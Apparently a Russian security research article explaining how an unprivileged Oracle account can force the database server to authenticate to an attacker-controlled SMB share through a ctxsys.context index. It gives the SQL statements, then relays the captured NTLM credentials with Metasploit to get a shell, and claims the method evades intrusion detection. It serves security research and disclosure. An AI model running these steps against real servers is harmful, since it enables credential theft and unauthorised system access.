|
|
|||||||||||||||||||||||||||||
|
Получение доступа к ОС, используя непривилегированную учетную запись в СУБД OracleАвтор: Александр Поляков, Digitаl Security Research Group (DSecRG) Вступление Однажды в ходе аудита очередной корпоративной сети я получил непривилегированную учетную запись в СУБД Oracle и мне был необходим доступ к командной строке сервера, на которой установлена эта СУБД. Ситуация стандартная - запускаем любой эксплоит, повышающий привилегии, а дальше, получив права DBA, можем получить доступ к ОС множеством различных способов таких как EXTProc, Java, Ext Job и прочие [1]. Но тут я задумался, а что если в СУБД, будут установлены последние критические обновления, да еще и будет установлена специализированная система обнаружения и предотвращения вторжений, реагирующую на неизвестные уязвимости. В таком случае повысить привилегии при помощи очередной SQL-инъекции и получить доступ к командной строке ОС так просто не получится. Безусловно, есть и другие способы повышения привилегий: поискать пароли в базе данных, подсоединиться к tnslistener изнутри, переписать лог-файл командами и поместить его в автозагрузку или, наконец, изучить набор привилегий, данных пользователю; возможно, там есть что-нибудь вроде "SELECT ANY DICTIONARY". В общем, способы есть, но слишком уж у них много разных "если", а ведь должно же быть что-нибудь простое и универсальное. Итак, перед нами задача - получить командную строку на сервере, имея минимальные права в СУБД Oracle, установленной на этом сервере и не пользуясь известными уязвимостями повышающим привилегии. Немного о Pass The HashЭто общеизвестный факт, что ОС Windows позволяет аутентифицироваться с использованием протокола NTLM, используя только хэш пароля. И, скорее всего, вы пользовались утилитами вроде msvctl, pass the hash toolkit, PtH-pwner и прочими излюбленными аудиторами утилитами, позволяющими получив один единственный (если повезет) LM/NTLM-хэш учетной записи, в считанные секунды получить доступ ко всему домену [2]. Это все, конечно, замечательно, но только как получить этот заветный хэш - вот в чем вопрос. Для того чтобы получить хеш учетной записи, от которой запущена СУБД, есть два пути. Первый - получить административный доступ к ОС и вытащить хеш из локального хранилища LSA. Этот путь мы сразу отбрасываем, так как административный доступ в ОС это и есть наша цель. Второй - это заставить СУБД Oracle инициировать NTLM challengeresponse аутентификацию на подконтрольный нами SMB-сервер, тем самым получить хеш пользователя, от имени которого запущена СУБД. Подключение к удаленному SMB-серверу Для того чтобы организовать эту идею технически, необходимо найти способ, как через СУБД осуществлять доступ к сетевым файлам. Способов таких много (см. таблицу), но, к сожалению, практически все они требуют высоких привилегий, имея которые, мы и так можем получить командную строку на сервере.
Остается только один вариант - чтение файлов через ctxsys.context индексы (Oracle TEXT). Данный способ был представлен Александром Корнбрустом (Alexander Kornbrust) в своем блоге в качестве одного из способов чтения локальных файлов. В описании было заявлено, что для реализации этого метода пользователю требуется роль CTXAPP, что уже интереснее. Как оказалось в ходе моих исследований, данная роль не обязательна для создания индекса и чтения файлов. Об этом написано в руководстве разработчика "Oracle Text Application Developer's Guide 10g Release 2". Кроме того, данный факт был подтвержден на практике в результате проверки на СУБД Oracle 10g R2. Это уже неплохо, так как получается, что, имея права обычного пользователя в СУБД, мы можем читать любые файлы, но хочется большего. В ходе исследований оказалось, что, используя данный метод, можно получать доступ не только к локальным, но и к сетевым файлам, а, следовательно, таким образом мы сможем инициировать NTLM challenge-response аутентификацию. Как итог, мы получаем возможность перехвата NTLM challenge-response аутентификации (а также возможно и получения удаленного доступа к командной строке), имея учетную запись в СУБД Oracle, обладающую только стандартными ролями CONNECT и RESOURCE, которые присутствуют практически у любого пользователя. Техническая реализация Для того чтобы получить доступ к сетевому файлу, сперва необходимо создать вспомогательную таблицу. SQL> CREATE TABLE files (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6)); После чего, помещаем в таблицу путь к сетевой папке, где у нас установлен SMB сервер. INSERT INTO files VALUES (1, "\\172.16.1.3\SHARE", NULL); И, наконец, создаем индекс типа ctxsys.context на столбец, в котором записан путь к файлу. CREATE INDEX file_index ON files(path) INDEXTYPE IS ctxsys.context PARAMETERS ("datastore ctxsys.file_datastore format column ot_format"); При создании индекса СУБД инициализирует сетевое соединение по адресу \\172.16.1.3\SHARE и попытается аутентифицироваться от имени пользователя, с правами которого запущена СУБД. Если предварительно установить поддельный SMB-сервер по адресу 172.16.1.3, то мы получим HALFLM-хэш пароля. [5] А если учитывать, что challenge мы указываем самостоятельно, то расшифровать пароль не составит труда, в этом нам могут помочь Raibow-таблицы. После расшифровки пароля мы получим доступ на сервере, чего и добивались. Но это еще не все. Расшифровать пароль возможно не всегда, но это и не обязательно. Если воспользоваться утилитой SMB-relay встроенной в Metasploit, то мы сможем инициализировать обратное подключение к серверу, используя перехваченную аутентификацию, и тем самым, получить командную строку на сервере, даже не расшифровывая пароль. Автоматизация атаки. Модуль ora_ntlm_stealer для Metasploit Для удобства проведения атаки был создан модуль ora_ntlm_stealer для Metasploit, который осуществляет данную атаку. Для ее реализации необходимо вначале запустить модуль smb_relay из набора Metasploit. Модуль smb_relay из набора Metasploit После чего запускаем модуль ora_ntlm_stealer и прописываем ему в качестве параметра IP-адрес SMB-сервера, где мы запустили smb_relay. После чего запускаем модуль и получаем на выходе исходный код процедуры, которую надо запустить в СУБД. Процесс работы модуля ora_ntlm_stealer После того, как код сгенерирован, мы подключаемся к СУБД при помощи любой из доступных нам учетных записей, например, SCOTT или DBSNMP, проверяем, что у нас нет никаких привилегий кроме как CONNECT и RESOURCE и запускаем эксплоит. Подключение к СУБД и запуск эксплоиита После того, как эксплоит сработает, мы сможем увидеть в консоли модуля smb_relay, как некто с IP-адресом 172.16.0.113 пытался подключиться к SMB-серверу. Соединение было запущено от имени пользователя Administrator, под которым функционирует СУБД. Результат атаки - получен доступ к командной строке Таким образом, мы, во-первых, получили хеш учетной записи Administrator, которая имеет административные права в системе, а во-вторых, получили командную строку на сервере, где установлена СУБД Oracle. Перехват HTTP NTLM Есть еще один способ получения доступа к ОС - перехват NTLM HTTP аутентификации. [8] Правда в этом случае нам придется потрудиться над расшифровкой хэшей паролей, так как в том виде, в каком они нам будут представлены при перехвате NTLM HTTP аутентификации, их нельзя будет использовать для обычной NTLM аутентификации и получения удаленного доступа. Этот способ реализуется утилитой squirtle [9], которая запускает подконтрольный веб-сервер и заставляет каждого подключившегося клиента инициализировать HTTP NTLM аутентификацию c известным заранее случайным значением "nonce", что позволяет расшифровать в итоге пароль клиента, используя заранее рассчитанные Rainbow-таблицы. Для того чтобы реализовать данную атаку можно подключиться к веб-серверу из консоли СУБД Oracle, используя такие пакеты как utl_http или HTTPUriType. Невидимость для систем обнаружения и других защитных механизмов Еще одним плюсом этого метода является то, что он не обнаруживается системами обнаружения вторжений, так как использует мало распространенный способ получения доступа к ОС. Написанный модуль для Metasploit дает еще дополнительную защиту от обнаружения, так как использует методы маскировки вредоносного кода. Данный метод получения доступа к ОС был опробован на популярной системе защиты для СУБД Oracle - Sentrigo Hedgehog и дал положительный результат [10]. Никаких записей о возможных попытках атаки обнаружено не было, тем не менее, удаленный доступ к командной строке сервера был получен. Заключение В этом документе был представлен один из способов получения доступа к ОС через СУБД Oracle. Его несомненными плюсами является необходимость наличия только лишь непривилегированной учетной записи в СУБД Oracle (как правило, согласно различным статистическим исследованиям, порядка 95% СУБД имеют предустановленные учетные записи со стандартными паролями или учетные записи со словарными паролями), а также невидимость (на момент публикации) для популярных систем обнаружения вторжений. Ссылки по теме
|
|